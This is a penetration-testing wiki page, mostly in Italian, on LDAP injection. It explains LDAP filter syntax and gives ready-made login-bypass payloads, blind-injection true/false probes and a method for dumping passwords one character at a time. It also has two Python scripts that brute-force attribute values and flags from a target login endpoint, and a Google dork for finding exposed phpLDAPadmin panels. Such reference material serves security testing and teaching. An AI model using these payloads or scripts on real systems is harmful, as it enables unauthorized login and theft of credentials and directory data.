hacktricks/pentesting-web/ldap-injection.md

# LDAP Injection

## LDAP Injection

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## LDAP Injection

### **LDAP**

**Se vuoi sapere cos'è LDAP, accedi alla seguente pagina:**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, portando potenzialmente ad accessi non autorizzati o manipolazione dei dati.

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE

Ad esempio:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

Puoi accedere al database, e questo può contenere informazioni di molti tipi diversi.

**OpenLDAP**: Se arrivano 2 filtri, esegue solo il primo.\
**ADAM o Microsoft LDS**: Con 2 filtri generano un errore.\
**SunOne Directory Server 5.0**: Esegue entrambi i filtri.

**È molto importante inviare il filtro con la sintassi corretta o verrà generato un errore. È meglio inviare solo 1 filtro.**

Il filtro deve iniziare con: `&` o `|`\
Esempio: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Poi: `(&(objectClass=`**`*)(ObjectClass=*))`** sarà il primo filtro (quello eseguito).

### Login Bypass

LDAP supporta diversi formati per memorizzare la password: chiaro, md5, smd5, sh1, sha, crypt. Quindi, potrebbe essere che indipendentemente da ciò che inserisci nella password, venga hashata.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Elenchi

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [Attributi LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Attributi PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### Blind LDAP Injection

Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare una possibile Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data

Puoi iterare sulle lettere ascii, cifre e simboli:
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Scripts

#### **Scoprire i campi LDAP validi**

Gli oggetti LDAP **contengono per impostazione predefinita diversi attributi** che potrebbero essere utilizzati per **salvare informazioni**. Puoi provare a **forzare tutti loro per estrarre quelle informazioni.** Puoi trovare un elenco di [**attributi LDAP predefiniti qui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Iniezione LDAP Speciale Cieca (senza "\*")**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### More Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

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